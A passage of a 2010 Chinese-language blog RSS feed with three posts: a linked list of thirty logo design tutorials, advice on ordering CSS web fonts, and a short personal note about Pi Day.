		<link>http://www.iokay.net/web/30-excellent-logo-design-tutorials/</link>
		<comments>http://www.iokay.net/web/30-excellent-logo-design-tutorials/#comments</comments>
		<pubDate>Sat, 27 Mar 2010 09:51:27 +0000</pubDate>
		<dc:creator>controlsea</dc:creator>
				<category><![CDATA[Web]]></category>
		<category><![CDATA[excellent]]></category>
		<category><![CDATA[Logo]]></category>
		<category><![CDATA[tutorials]]></category>

		<guid isPermaLink="false">http://www.iokay.net/?p=137</guid>
		<description><![CDATA[想要设计一个优秀的logo可不是一件简单的事情，它既要让人们容易记住，又要在里面融入寓意。事实上，logo是你的品牌一个非常重要的部分。 我们知道，品牌也不仅仅是依靠一个美丽的logo,但是创建一个令人难忘的又有影响力的关于自己公司的，并且能有效的传递你的信息的logo将是一条漫长之路。 通过以下文章中的这些教程，你将领略到这些logo的创作过程，并且你可以通过Illustrator或是Photoshop创建自己的logo.当然，设计过程一开始，你得拥有纸和笔，但这些教程将从你一坐到电脑面前开始，就会提供给你所有需要的工具。 Vivid Ways的设计过程及其思路 创建一个折纸式的logo 使用Illustrator来创建一个有趣的3D效果的logo Abduzeedo公司2010的logo设计 Umbrella公司的logo Logo设计过程教程 索爱的logo Sikbox设计过程 创建标志性logo 一步步教你设计logo 通过Photoshop创建一个平滑的3D盒子 怎样用Photoshop来设计Firefox的logo 一步步教你设计logo Day 30：设计一个logo 复古式圆形logo设计 构造完美的logo 用Illustrator设计牛排馆的logo 设计一个logo——从设想到实现 创造一个极酷的logo 创造一个很酷的凌乱背景式的音乐logo 创建一个复古的logo 创建一个复古的logo 用photoshop重构果冻式logo Illustrator构造的Zee logo 奥巴马logo教程 设计Google Chrome Logo 怎样制作一个Wordpress logo 制作金属质感的变形金刚logo 用Illustrator制作Rockstar的logo极其样式 Photoshop制作ATI logo的教程]]></description>
			<content:encoded><![CDATA[<p>想要设计一个优秀的logo可不是一件简单的事情，它既要让人们容易记住，又要在里面融入寓意。事实上，logo是你的品牌一个非常重要的部分。</p>
<p>我们知道，品牌也不仅仅是依靠一个美丽的logo,但是创建一个令人难忘的又有影响力的关于自己公司的，并且能有效的传递你的信息的logo将是一条漫长之路。</p>
<p>通过以下文章中的这些教程，你将领略到这些logo的创作过程，并且你可以通过Illustrator或是Photoshop创建自己的logo.当然，设计过程一开始，你得拥有纸和笔，但这些教程将从你一坐到电脑面前开始，就会提供给你所有需要的工具。</p>
<h2>Vivid Ways的设计过程及其思路</h2>
<pre><a href="http://www.blog.spoongraphics.co.uk/tutorials/logo-design-process-and-walkthrough-for-vivid-ways"><img src="http://iokay.net/mypic/logo/1.jpg" alt="" /></a></pre>
<p><span id="more-137"></span></p>
<h2>创建一个折纸式的logo</h2>
<pre>
<a href="http://www.zenelements.com/blog/create-an-origami-logo/"><img src="http://iokay.net/mypic/logo/2.jpg" alt="" /></a></pre>
<h2>使用Illustrator来创建一个有趣的3D效果的logo</h2>
<pre>
<a href="http://vector.tutsplus.com/tutorials/designing/use-illustrator-to-create-a-fun-3d-character-logo/"><img src="http://iokay.net/mypic/logo/3.jpg" alt="" /></a></pre>
<h2>Abduzeedo公司2010的logo设计</h2>
<pre>
<a href="http://abduzeedo.com/abduzeedo-2010-logo-design"><img src="http://iokay.net/mypic/logo/4.jpg" alt="" /></a></pre>
<h2>Umbrella公司的logo</h2>
<pre>
<a href="http://www.adobetutorialz.com/articles/3043/1/Umbrella-Corporation-logo"><img src="http://iokay.net/mypic/logo/5.jpg" alt="" /></a></pre>
<h2><span class='wp_keywordlink_affiliate'><a href="http://www.iokay.net/tag/logo/" title="查看 Logo 中的全部文章" target="_blank">Logo</a></span>设计过程教程</h2>
<pre>
<a href="http://dryicons.com/blog/2009/02/28/logo-design-process-tutorial"><img src="http://iokay.net/mypic/logo/6.jpg" alt="" /></a></pre>
<h2>索爱的logo</h2>
<pre>
<a href="http://www.eyesontutorials.com/articles/4317/1/Sony-Ericsson-Logo/Page1.html"><img src="http://iokay.net/mypic/logo/7.jpg" alt="" /></a></pre>
<h2>Sikbox设计过程</h2>
<pre>
<a href="http://abduzeedo.com/sikbox-logo-design-process"><img src="http://iokay.net/mypic/logo/8.jpg" alt="" /></a></pre>
<h2>创建标志性logo</h2>
<pre>
<a href="http://www.computerarts.co.uk/tutorials/2d__and__photoshop/create_a_logo_identity"><img src="http://iokay.net/mypic/logo/9.jpg" alt="" /></a></pre>
<h2>一步步教你设计logo</h2>
<pre>
<a href="http://www.blog.spoongraphics.co.uk/tutorials/logo-design-project-step-by-step-walkthrough"><img src="http://iokay.net/mypic/logo/10.jpg" alt="" /></a></pre>
<h2>通过Photoshop创建一个平滑的3D盒子</h2>
<pre>
<a href="http://www.tutorial9.net/photoshop/create-a-3d-glossy-box-logo/"><img src="http://iokay.net/mypic/logo/11.jpg" alt="" /></a></pre>
<h2>怎样用Photoshop来设计Firefox的logo</h2>
<pre>
<a href="http://www.henryhoffman.com/design-firefox-logo-in-photoshop-tutorial.html"><img src="http://iokay.net/mypic/logo/12.jpg" alt="" /></a></pre>
<h2>一步步教你设计logo</h2>
<pre>
<a href="http://www.ideabook.com/tutorials/logo_design/stepbystep_logo.html"><img src="http://iokay.net/mypic/logo/13.jpg" alt="" /></a></pre>
<h2>Day 30：设计一个logo</h2>
<pre>
<a href="http://www.zenelements.com/blog/create-an-origami-logo/"><img src="http://iokay.net/mypic/logo/14.jpg" alt="" /></a></pre>
<h2>复古式圆形logo设计</h2>
<pre>
<a href="http://www.myinkblog.com/2008/09/02/design-a-grungy-circular-logo/"><img src="http://iokay.net/mypic/logo/15.jpg" alt="" /></a></pre>
<h2>构造完美的logo</h2>
<pre>
<a href="http://www.devlounge.net/articles/constructing-the-perfect-logo/1"><img src="http://iokay.net/mypic/logo/16.jpg" alt="" /></a></pre>
<h2>用Illustrator设计牛排馆的logo</h2>
<pre>
<a href="http://www.wearepixel8.com/blog/2008/09/09/create-a-silhouette-logo-for-a-steak-house-restaurant-in-adobe-illustrator/"><img src="http://iokay.net/mypic/logo/17.jpg" alt="" /></a></pre>
<h2>设计一个logo——从设想到实现</h2>
<pre>
<a href="http://www.blog.spoongraphics.co.uk/tutorials/how-to-design-a-logotype-from-conception-to-completion"><img src="http://iokay.net/mypic/logo/18.jpg" alt="" /></a></pre>
<h2>创造一个极酷的logo</h2>
<pre>
<a href="http://abduzeedo.com/creating-crazy-cool-logo"><img src="http://iokay.net/mypic/logo/19.jpg" alt="" /></a></pre>
<h2>创造一个很酷的凌乱背景式的音乐logo</h2>
<pre>
<a href="http://http://psd.tutsplus.com/designing-tutorials/create-a-cool-music-logo-on-a-grunge-background/"><img src="http://iokay.net/mypic/logo/20.jpg" alt="" /></a></pre>
<h2>创建一个复古的logo</h2>
<pre>
<a href="http://www.avivadirectory.com/photoshop/creating-a-retro-logo/"><img src="http://iokay.net/mypic/logo/21.jpg" alt="" /></a></pre>
<h2>创建一个复古的logo</h2>
<pre>
<a href="http://www.computerarts.co.uk/tutorials/2d__and__photoshop/create_a_retro_logo"><img src="http://iokay.net/mypic/logo/22.jpg" alt="" /></a></pre>
<h2>用photoshop重构果冻式logo</h2>
<pre>
<a href="http://tutorials20.com/design/jelly-remake/"><img src="http://iokay.net/mypic/logo/23.jpg" alt="" /></a></pre>
<h2>Illustrator构造的Zee logo</h2>
<pre>
<a href="http://abduzeedo.com/zee-logo-illustrator"><img src="http://iokay.net/mypic/logo/24.jpg" alt="" /></a></pre>
<h2>奥巴马logo教程</h2>
<pre>
<a href="http://www.clickpopmedia.com/2008/08/07/vector-tutorial-obama-logo-2/"><img src="http://iokay.net/mypic/logo/25.jpg" alt="" /></a></pre>
<h2>设计Google Chrome <span class='wp_keywordlink_affiliate'><a href="http://www.iokay.net/tag/logo/" title="查看 Logo 中的全部文章" target="_blank">Logo</a></span></h2>
<pre>
<a href="http://www.adobetutorialz.com/articles/3029/1/Google-Chrome-Logo-Design"><img src="http://iokay.net/mypic/logo/26.jpg" alt="" /></a></pre>
<h2>怎样制作一个Wordpress logo</h2>
<pre>
<a href="http://3nhanced.com/photoshop/how-to-make-a-badass-wordpress-logo/"><img src="http://iokay.net/mypic/logo/27.jpg" alt="" /></a></pre>
<h2>制作金属质感的变形金刚logo</h2>
<pre>
<a href="http://10steps.sg/photoshop/making-of-metallic-transformers-logo/"><img src="http://iokay.net/mypic/logo/28.jpg" alt="" /></a></pre>
<h2>用Illustrator制作Rockstar的logo极其样式</h2>
<pre>
<a href="http://vector.tutsplus.com/tutorials/designing/creating-a-rockstar-brand-logo-styleguide-in-illustrator/"><img src="http://iokay.net/mypic/logo/29.jpg" alt="" /></a></pre>
<h2>Photoshop制作ATI logo的教程</h2>
<pre>
<a href="http://www.eyesontutorials.com/articles/3434/1/Making-the-ATI-LOGO-photoshop-tutorial/Page1.html"><img src="http://iokay.net/mypic/logo/30.jpg" alt="" /></a></pre>
]]></content:encoded>
			<wfw:commentRss>http://www.iokay.net/web/30-excellent-logo-design-tutorials/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>关于网页的字体排版</title>
		<link>http://www.iokay.net/web/css-web/web-font-design/</link>
		<comments>http://www.iokay.net/web/css-web/web-font-design/#comments</comments>
		<pubDate>Sat, 20 Mar 2010 08:43:28 +0000</pubDate>
		<dc:creator>controlsea</dc:creator>
				<category><![CDATA[CSS]]></category>
		<category><![CDATA[字体]]></category>
		<category><![CDATA[排版]]></category>

		<guid isPermaLink="false">http://www.iokay.net/?p=121</guid>
		<description><![CDATA[页面的字体排版其实是比较棘手的一件事情，本人刚开始在设计页面的时候，对于字体属性的选择一直定不下来，不过在经过了几次设计之后，也稍微做了些总结，现分析如下： 这是我对于比较正规的页面考虑采用的样式 font: 12px/1.5 Tahoma, Times New Roman,Helvetica,sans-serif; 字体大小采用px为单位, 而不采用em. 因为em的可用性提升其实是很有限的，加上现在主流浏览器都支持“全页面缩放（Full Page Zoom）”功能了，所以基本可以不用考虑用em来实现了。 行高采用1.5, 也就是18px. 我觉得这是比较符合大家视觉的，相对于12px字体，这个行高看起来非常舒服。 字体样式默认采用Tahoma. Tahoma是英文Windows操作系统的默认字体，这个字体比较均衡，显示中英文混排很不错，是经久耐看的一款字体。Tahoma是Matthew Carter为微软公司设计的一款字体，从Mac OS X 10.5开始，默认也捆绑了这款字体。但在Mac OS X 10.4及其之前的系统中，没有Tahoma字体。 而我将Times New Roman排在第二位，其实这款字体也是非常的耐看的，而且我觉得大家应该可以留意到，在我们用office word开始，这款字体就已经成为默认的英文字体了，可见其经典程度。所以我将其用来作为自己博客的logo字体。还有一款要推荐的字体就是看起来比Times New Roman更经典的系统默认字体,那就是Helvetica,这是一款已经超过50年历史的字体，在设计界的地位似乎无人能敌,大家可以参考这篇文章。已经其实我非常想将Helvetica放在首位的，不过，考虑到非Mac系统的Helvetica字体都是rip版，以及Windows的市场占有率，因此只能委屈Helvetica, 放在第三位了。 放在最后的sans-serif是针对强悍的Linux DIY族。Linux默认只有kernel, 字体完全由用户自定义，针对这部分用户，sans-serif可能能派上用场。 最后，无论在XP还是Vista、Win7下，不指定网页的中文字体时，默认就是宋体或是微软雅黑。因此font-family属性里的&#8217;宋体&#8217;是多余的，可以省去。]]></description>
			<content:encoded><![CDATA[<pre><img src="http://www.iokay.net/mypic/font_design.jpg" alt="" width="560" height="350" /></pre>
<p>页面的<span class='wp_keywordlink_affiliate'><a href="http://www.iokay.net/tag/%e5%ad%97%e4%bd%93/" title="查看 字体 中的全部文章" target="_blank">字体</a></span><span class='wp_keywordlink_affiliate'><a href="http://www.iokay.net/tag/%e6%8e%92%e7%89%88/" title="查看 排版 中的全部文章" target="_blank">排版</a></span>其实是比较棘手的一件事情，本人刚开始在设计页面的时候，对于<span class='wp_keywordlink_affiliate'><a href="http://www.iokay.net/tag/%e5%ad%97%e4%bd%93/" title="查看 字体 中的全部文章" target="_blank">字体</a></span>属性的选择一直定不下来，不过在经过了几次设计之后，也稍微做了些总结，现分析如下：</p>
<p>这是我对于比较正规的页面考虑采用的样式</p>
<h3>font: 12px/1.5 Tahoma, Times New Roman,Helvetica,sans-serif;</h3>
<ol>
<li>字体大小采用px为单位, 而不采用em. 因为em的可用性提升其实是很有限的，加上现在主流浏览器都支持“全页面缩放（<a href="https://developer.mozilla.org/en/Full_page_zoom" target="_blank">Full Page Zoom</a>）”功能了，所以基本可以不用考虑用em来实现了。</li>
<p></p>
<li>行高采用1.5, 也就是18px. 我觉得这是比较符合大家视觉的，相对于12px字体，这个行高看起来非常舒服。</li>
<p></p>
<li>字体样式默认采用<a href="zh.wikipedia.org/wiki/Tahoma" target="_blank">Tahoma</a>. <a href="zh.wikipedia.org/wiki/Tahoma" target="_blank">Tahoma</a>是英文Windows操作系统的默认字体，这个字体比较均衡，显示中英文混排很不错，是经久耐看的一款字体。<a href="zh.wikipedia.org/wiki/Tahoma" target="_blank">Tahoma</a>是<a href="www.graphic-design.com/Type/carter/" target="_blank">Matthew Carter</a>为微软公司设计的一款字体，从Mac OS X 10.5开始，默认也捆绑了这款字体。但在Mac OS X 10.4及其之前的系统中，没有Tahoma字体。</li>
<p></p>
<li>而我将<a href="zh.wikipedia.org/wiki/Times_New_Roman" target="_blank">Times New Roman</a>排在第二位，其实这款字体也是非常的耐看的，而且我觉得大家应该可以留意到，在我们用office word开始，这款字体就已经成为默认的英文字体了，可见其经典程度。所以我将其用来作为自己博客的logo字体。还有一款要推荐的字体就是看起来比<a href="zh.wikipedia.org/wiki/Times_New_Roman" target="_blank">Times New Roman</a>更经典的系统默认字体,那就是<a href="zh.wikipedia.org/wiki/Helvetica" target="_blank">Helvetica</a>,这是一款已经超过50年历史的字体，在设计界的地位似乎无人能敌,大家可以参考<a href="http://www.pconline.com.cn/pcedu/sj/design_area/excellent/0903/1600026.html" target="_blank">这篇文章</a>。已经其实我非常想将Helvetica放在首位的，不过，考虑到非Mac系统的<a href="zh.wikipedia.org/wiki/Helvetica" target="_blank">Helvetica</a>字体都是rip版，以及Windows的市场占有率，因此只能委屈Helvetica, 放在第三位了。<br />
放在最后的<a href="zh.wikipedia.org/wiki/无衬线体" target="_blank">sans-serif</a>是针对强悍的Linux DIY族。Linux默认只有kernel, 字体完全由用户自定义，针对这部分用户，<a href="zh.wikipedia.org/wiki/无衬线体" target="_blank">sans-serif</a>可能能派上用场。</li>
<p></p>
<li>最后，无论在XP还是Vista、Win7下，不指定网页的中文字体时，默认就是宋体或是微软雅黑。因此font-family属性里的&#8217;宋体&#8217;是多余的，可以省去。</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://www.iokay.net/web/css-web/web-font-design/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>今天是圆周率节哦～～</title>
		<link>http://www.iokay.net/mylife/today-is-pi-day/</link>
		<comments>http://www.iokay.net/mylife/today-is-pi-day/#comments</comments>
		<pubDate>Sun, 14 Mar 2010 05:00:29 +0000</pubDate>
		<dc:creator>controlsea</dc:creator>
				<category><![CDATA[Mylife]]></category>
		<category><![CDATA[Pi Day]]></category>
		<category><![CDATA[圆周率节]]></category>

		<guid isPermaLink="false">http://www.iokay.net/?p=112</guid>
		<description><![CDATA[今天3月14日，单身的我白色情人节就不过了，来过圆周率节吧～ 圆周率节诞生于2009年，美国众议院正式通过将每年的3月14号设定为“圆周率日”（Pi day），很多人都会以各种方式庆祝这个节日，而准确的说，应该是在下午1点59分来庆祝这个节日，以象征圆周率的六位近似值3.14159。而如果你是习惯用24小时计时的，可以选择在凌晨1点59分，或者是下午3点9分（即15点9分）. 总之，最爽的就是，今天能吃到各种各样的Pie～～]]></description>
			<content:encoded><![CDATA[<pre><img src="http://www.iokay.net/mypic/Pi_Day_1.jpg" alt="" /></pre>
<p>今天3月14日，单身的我白色情人节就不过了，来过<span class='wp_keywordlink_affiliate'><a href="http://www.iokay.net/tag/%e5%9c%86%e5%91%a8%e7%8e%87%e8%8a%82/" title="查看 圆周率节 中的全部文章" target="_blank">圆周率节</a></span>吧～<br />
<span id="more-112"></span></p>
<p><span class='wp_keywordlink_affiliate'><a href="http://www.iokay.net/tag/%e5%9c%86%e5%91%a8%e7%8e%87%e8%8a%82/" title="查看 圆周率节 中的全部文章" target="_blank">圆周率节</a></span>诞生于2009年，美国众议院正式通过将每年的3月14号设定为“圆周率日”（Pi day），很多人都会以各种方式庆祝这个节日，而准确的说，应该是在下午1点59分来庆祝这个节日，以象征圆周率的六位近似值3.14159。而如果你是习惯用24小时计时的，可以选择在凌晨1点59分，或者是下午3点9分（即15点9分）.</p>
<p>总之，最爽的就是，今天能吃到各种各样的Pie～～</p>
<pre><img class="alignleft" src="http://www.iokay.net/mypic/Pi_Day_2.jpg" alt="" width="500" height="333" />

<img class="alignleft" src="http://www.iokay.net/mypic/Pi_Day_3.jpg" alt="" width="560" height="420" />

<img class="alignleft" src="http://www.iokay.net/mypic/Pi_Day_4.jpg" alt="" width="560" height="362" />

<img class="alignleft" src="http://www.iokay.net/mypic/Pi_Day_5.jpg" alt="" width="560" height="370" />
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.iokay.net/mylife/today-is-pi-day/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>

